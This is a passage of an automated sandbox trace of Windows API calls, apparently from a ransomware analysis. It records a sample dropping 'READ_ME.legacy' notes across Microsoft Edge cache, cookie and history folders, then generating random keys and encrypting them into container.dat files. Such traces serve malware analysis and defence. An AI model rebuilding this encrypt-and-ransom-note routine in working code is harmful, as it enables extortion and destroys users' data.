lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.677] FindNextFileW (in: hFindFile=0x2f72ff0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50b4cba, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50b4cba, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.677] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69f80 [0179.677] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9af0a0eb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72a30 [0179.677] FindNextFileW (in: hFindFile=0x2f72a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9af0a0eb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.677] FindNextFileW (in: hFindFile=0x2f72a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9af0a0eb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9af0a0eb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9af0a0eb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Cache", cAlternateFileName="")) returned 1 [0179.677] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\Cache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\cache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1aac [0179.678] WriteFile (in: hFile=0x1aac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.679] CloseHandle (hObject=0x1aac) returned 1 [0179.679] FindNextFileW (in: hFindFile=0x2f72a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb220f800, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Cookies", cAlternateFileName="")) returned 1 [0179.679] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\Cookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\cookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1aac [0179.683] WriteFile (in: hFile=0x1aac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.684] CloseHandle (hObject=0x1aac) returned 1 [0179.684] FindNextFileW (in: hFindFile=0x2f72a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb322b8d4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="History", cAlternateFileName="")) returned 1 [0179.685] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\History\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\history\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1aac [0179.685] WriteFile (in: hFile=0x1aac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.686] CloseHandle (hObject=0x1aac) returned 1 [0179.686] FindNextFileW (in: hFindFile=0x2f72a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.686] FindNextFileW (in: hFindFile=0x2f72a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.686] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67d00 [0179.686] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f730b0 [0179.687] FindNextFileW (in: hFindFile=0x2f730b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x987efe85, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x987efe85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.687] FindNextFileW (in: hFindFile=0x2f730b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.687] FindNextFileW (in: hFindFile=0x2f730b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca9a0 [0179.687] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\BingPageDataCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf988ece2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98f07b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73070 [0179.687] FindNextFileW (in: hFindFile=0x2f73070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf988ece2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98f07b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.687] FindNextFileW (in: hFindFile=0x2f73070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf98b4a7b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98f07b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98f07b0, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.687] FindNextFileW (in: hFindFile=0x2f73070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.687] FindNextFileW (in: hFindFile=0x2f73070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0179.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0179.687] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0179.687] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0179.687] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0179.687] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\BingPageDataCache\\container.dat", dwFileAttributes=0x80) returned 1 [0179.688] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d5ec8 [0179.688] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x56c6b8 [0179.688] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\BingPageDataCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\bingpagedatacache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ab4 [0179.688] GetFileSizeEx (in: hFile=0x1ab4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0179.688] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3448 [0179.688] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3458 [0179.688] ReadFile (in: hFile=0x1ab4, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.688] SetFilePointer (in: hFile=0x1ab4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.688] WriteFile (in: hFile=0x1ab4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.688] SetFilePointer (in: hFile=0x1ab4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0179.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.689] WriteFile (in: hFile=0x1ab4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.690] WriteFile (in: hFile=0x1ab4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.690] CloseHandle (hObject=0x1ab4) returned 1 [0179.697] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdc693c1, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72f30 [0179.697] FindNextFileW (in: hFindFile=0x2f72f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdc693c1, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.697] FindNextFileW (in: hFindFile=0x2f72f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf352567, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf352567, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.697] FindNextFileW (in: hFindFile=0x2f72f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.698] FindNextFileW (in: hFindFile=0x2f72f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.698] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca8b8 [0179.698] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0179.698] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0179.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0179.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0179.698] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cache\\container.dat", dwFileAttributes=0x80) returned 1 [0179.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9698 [0179.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x609d58 [0179.702] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ab8 [0179.702] GetFileSizeEx (in: hFile=0x1ab8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0179.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3518 [0179.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c34c8 [0179.702] ReadFile (in: hFile=0x1ab8, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.702] SetFilePointer (in: hFile=0x1ab8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.703] WriteFile (in: hFile=0x1ab8, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.703] SetFilePointer (in: hFile=0x1ab8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0179.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.703] WriteFile (in: hFile=0x1ab8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.704] WriteFile (in: hFile=0x1ab8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.704] CloseHandle (hObject=0x1ab8) returned 1 [0179.705] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd8fcbe3e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72c30 [0179.706] FindNextFileW (in: hFindFile=0x2f72c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd8fcbe3e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.706] FindNextFileW (in: hFindFile=0x2f72c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd8fcbe3e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd8fcbe3e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd8fcbe3e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.706] FindNextFileW (in: hFindFile=0x2f72c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, 